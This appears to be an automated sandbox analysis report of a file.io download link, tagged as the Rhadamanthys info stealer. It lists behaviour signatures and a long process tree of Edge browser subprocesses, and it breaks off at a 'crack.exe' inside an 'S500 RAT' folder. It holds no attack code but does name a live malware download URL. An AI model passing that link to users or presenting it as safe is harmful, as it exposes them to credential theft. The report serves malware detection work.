Analysis

  • max time kernel
    128s
  • max time network
    132s
  • platform
    windows11-21h2_x64
  • resource
    win11-20240221-en
  • resource tags

    arch:x64arch:x86image:win11-20240221-enlocale:en-usos:windows11-21h2-x64system
  • submitted
    04-04-2024 15:47

General

  • Target

    https://file.io/k3MVzAZvKJCU

Malware Config

Signatures

  • Rhadamanthys

    Rhadamanthys is an info stealer written in C++ first seen in August 2022.

  • Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
  • Executes dropped EXE 5 IoCs
  • Loads dropped DLL 14 IoCs
  • UPX packed file 24 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Adds Run key to start application 2 TTPs 1 IoCs
  • Detects Pyinstaller 1 IoCs
  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Kills process with taskkill 1 IoCs
  • NTFS ADS 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 26 IoCs
  • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 45 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of FindShellTrayWindow 64 IoCs
  • Suspicious use of SendNotifyMessage 12 IoCs
  • Suspicious use of SetWindowsHookEx 6 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Windows\system32\sihost.exe
    sihost.exe
    1⤵
      PID:2204
      • C:\Windows\SysWOW64\dialer.exe
        "C:\Windows\system32\dialer.exe"
        2⤵
        • Suspicious behavior: EnumeratesProcesses
        PID:6924
    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://file.io/k3MVzAZvKJCU
      1⤵
      • Enumerates system info in registry
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of SendNotifyMessage
      • Suspicious use of WriteProcessMemory
      PID:4072
      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=90.0.4430.212 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=90.0.818.66 --initial-client-data=0x100,0x104,0x108,0xdc,0x10c,0x7ffd657e3cb8,0x7ffd657e3cc8,0x7ffd657e3cd8
        2⤵
          PID:4284
        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=1944,7433265484008433780,1720166392886563265,131072 --gpu-preferences=SAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHgAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAgAAAAAAAAA --mojo-platform-channel-handle=1964 /prefetch:2
          2⤵
            PID:4384
          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1944,7433265484008433780,1720166392886563265,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2328 /prefetch:3
            2⤵
            • Suspicious behavior: EnumeratesProcesses
            PID:2268
          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=1944,7433265484008433780,1720166392886563265,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2572 /prefetch:8
            2⤵
              PID:1680
            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1944,7433265484008433780,1720166392886563265,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3192 /prefetch:1
              2⤵
                PID:3000
              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1944,7433265484008433780,1720166392886563265,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3208 /prefetch:1
                2⤵
                  PID:4740
                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1944,7433265484008433780,1720166392886563265,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5132 /prefetch:1
                  2⤵
                    PID:4184
                  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1944,7433265484008433780,1720166392886563265,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4468 /prefetch:1
                    2⤵
                      PID:4416
                    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1944,7433265484008433780,1720166392886563265,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3236 /prefetch:1
                      2⤵
                        PID:1460
                      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1944,7433265484008433780,1720166392886563265,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2084 /prefetch:1
                        2⤵
                          PID:1792
                        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1944,7433265484008433780,1720166392886563265,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5316 /prefetch:1
                          2⤵
                            PID:1720
                          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1944,7433265484008433780,1720166392886563265,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6040 /prefetch:1
                            2⤵
                              PID:4640
                            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1944,7433265484008433780,1720166392886563265,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6500 /prefetch:1
                              2⤵
                                PID:576
                              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1944,7433265484008433780,1720166392886563265,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6724 /prefetch:1
                                2⤵
                                  PID:3908
                                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1944,7433265484008433780,1720166392886563265,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6928 /prefetch:1
                                  2⤵
                                    PID:2008
                                  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1944,7433265484008433780,1720166392886563265,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=17 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=7028 /prefetch:1
                                    2⤵
                                      PID:1772
                                    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1944,7433265484008433780,1720166392886563265,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=18 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=7128 /prefetch:1
                                      2⤵
                                        PID:2992
                                      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1944,7433265484008433780,1720166392886563265,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=19 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=7264 /prefetch:1
                                        2⤵
                                          PID:4812
                                        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1944,7433265484008433780,1720166392886563265,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=20 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=7416 /prefetch:1
                                          2⤵
                                            PID:1468
                                          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --field-trial-handle=1944,7433265484008433780,1720166392886563265,131072 --lang=en-US --service-sandbox-type=audio --mojo-platform-channel-handle=6316 /prefetch:8
                                            2⤵
                                              PID:4920
                                            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1944,7433265484008433780,1720166392886563265,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=22 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5684 /prefetch:1
                                              2⤵
                                                PID:1108
                                              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1944,7433265484008433780,1720166392886563265,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=23 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=8040 /prefetch:1
                                                2⤵
                                                  PID:2704
                                                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1944,7433265484008433780,1720166392886563265,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=24 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6324 /prefetch:1
                                                  2⤵
                                                    PID:1096
                                                  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1944,7433265484008433780,1720166392886563265,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=25 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=7828 /prefetch:1
                                                    2⤵
                                                      PID:3832
                                                    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1944,7433265484008433780,1720166392886563265,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=26 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6028 /prefetch:1
                                                      2⤵
                                                        PID:3952
                                                      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1944,7433265484008433780,1720166392886563265,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=27 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=8384 /prefetch:1
                                                        2⤵
                                                          PID:5036
                                                        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1944,7433265484008433780,1720166392886563265,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=28 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=8404 /prefetch:1
                                                          2⤵
                                                            PID:2536
                                                          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1944,7433265484008433780,1720166392886563265,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=29 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=8412 /prefetch:1
                                                            2⤵
                                                              PID:2112
                                                            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1944,7433265484008433780,1720166392886563265,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=30 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=8420 /prefetch:1
                                                              2⤵
                                                                PID:4492
                                                              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1944,7433265484008433780,1720166392886563265,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=31 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=8428 /prefetch:1
                                                                2⤵
                                                                  PID:2744
                                                                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1944,7433265484008433780,1720166392886563265,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=32 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=8436 /prefetch:1
                                                                  2⤵
                                                                    PID:4760
                                                                  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1944,7433265484008433780,1720166392886563265,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=10212 /prefetch:8
                                                                    2⤵
                                                                    • Suspicious behavior: EnumeratesProcesses
                                                                    PID:5752
                                                                  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1944,7433265484008433780,1720166392886563265,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=34 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=10344 /prefetch:1
                                                                    2⤵
                                                                      PID:6056
                                                                    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1944,7433265484008433780,1720166392886563265,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=35 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=9976 /prefetch:1
                                                                      2⤵
                                                                        PID:2544
                                                                      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1944,7433265484008433780,1720166392886563265,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=36 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=7876 /prefetch:1
                                                                        2⤵
                                                                          PID:6028
                                                                        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1944,7433265484008433780,1720166392886563265,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=37 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=9708 /prefetch:1
                                                                          2⤵
                                                                            PID:6080
                                                                          • C:\Program Files (x86)\Microsoft\Edge\Application\90.0.818.66\identity_helper.exe
                                                                            "C:\Program Files (x86)\Microsoft\Edge\Application\90.0.818.66\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=1944,7433265484008433780,1720166392886563265,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=11028 /prefetch:8
                                                                            2⤵
                                                                            • Suspicious behavior: EnumeratesProcesses
                                                                            PID:6064
                                                                          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1944,7433265484008433780,1720166392886563265,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=39 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=7396 /prefetch:1
                                                                            2⤵
                                                                              PID:6564
                                                                            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1944,7433265484008433780,1720166392886563265,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=40 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=9856 /prefetch:1
                                                                              2⤵
                                                                                PID:6572
                                                                              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1944,7433265484008433780,1720166392886563265,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=41 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=9760 /prefetch:1
                                                                                2⤵
                                                                                  PID:6580
                                                                                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1944,7433265484008433780,1720166392886563265,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=42 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=7748 /prefetch:1
                                                                                  2⤵
                                                                                    PID:6588
                                                                                  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1944,7433265484008433780,1720166392886563265,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=43 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=8660 /prefetch:1
                                                                                    2⤵
                                                                                      PID:6596
                                                                                    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1944,7433265484008433780,1720166392886563265,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=44 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=10004 /prefetch:1
                                                                                      2⤵
                                                                                        PID:6604
                                                                                      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1944,7433265484008433780,1720166392886563265,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=45 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6396 /prefetch:1
                                                                                        2⤵
                                                                                          PID:6612
                                                                                        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1944,7433265484008433780,1720166392886563265,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=46 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=9712 /prefetch:1
                                                                                          2⤵
                                                                                            PID:6620
                                                                                          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1944,7433265484008433780,1720166392886563265,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=47 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4600 /prefetch:1
                                                                                            2⤵
                                                                                              PID:6628
                                                                                            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1944,7433265484008433780,1720166392886563265,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=48 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5108 /prefetch:1
                                                                                              2⤵
                                                                                                PID:6636
                                                                                              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1944,7433265484008433780,1720166392886563265,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=49 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5080 /prefetch:1
                                                                                                2⤵
                                                                                                  PID:6644
                                                                                                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1944,7433265484008433780,1720166392886563265,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=50 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5100 /prefetch:1
                                                                                                  2⤵
                                                                                                    PID:6652
                                                                                                  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1944,7433265484008433780,1720166392886563265,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=51 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=8980 /prefetch:1
                                                                                                    2⤵
                                                                                                      PID:6660
                                                                                                    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1944,7433265484008433780,1720166392886563265,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=52 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=8136 /prefetch:1
                                                                                                      2⤵
                                                                                                        PID:6668
                                                                                                      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1944,7433265484008433780,1720166392886563265,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=53 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6416 /prefetch:1
                                                                                                        2⤵
                                                                                                          PID:5596
                                                                                                        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --field-trial-handle=1944,7433265484008433780,1720166392886563265,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5796 /prefetch:8
                                                                                                          2⤵
                                                                                                          • NTFS ADS
                                                                                                          • Suspicious behavior: EnumeratesProcesses
                                                                                                          PID:404
                                                                                                        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=1944,7433265484008433780,1720166392886563265,131072 --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=4318 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.22000.1 --gpu-preferences=SAAAAAAAAADoAAAwAAAAAAAAAAAAAAAAAABgAAAQAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHgAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAgAAAAAAAAA --mojo-platform-channel-handle=2440 /prefetch:2
                                                                                                          2⤵
                                                                                                          • Suspicious behavior: EnumeratesProcesses
                                                                                                          PID:5388
                                                                                                      • C:\Windows\System32\CompPkgSrv.exe
                                                                                                        C:\Windows\System32\CompPkgSrv.exe -Embedding
                                                                                                        1⤵
                                                                                                          PID:3932
                                                                                                        • C:\Windows\System32\CompPkgSrv.exe
                                                                                                          C:\Windows\System32\CompPkgSrv.exe -Embedding
                                                                                                          1⤵
                                                                                                            PID:536
                                                                                                          • C:\Windows\system32\AUDIODG.EXE
                                                                                                            C:\Windows\system32\AUDIODG.EXE 0x00000000000004E0 0x00000000000004D8
                                                                                                            1⤵
                                                                                                              PID:5448
                                                                                                            • C:\Windows\System32\rundll32.exe
                                                                                                              C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
                                                                                                              1⤵
                                                                                                                PID:6652
                                                                                                              • C:\Users\Admin\Downloads\S500 RAT\S500 RAT\S500 RAT\S500 RAT\crack.exe
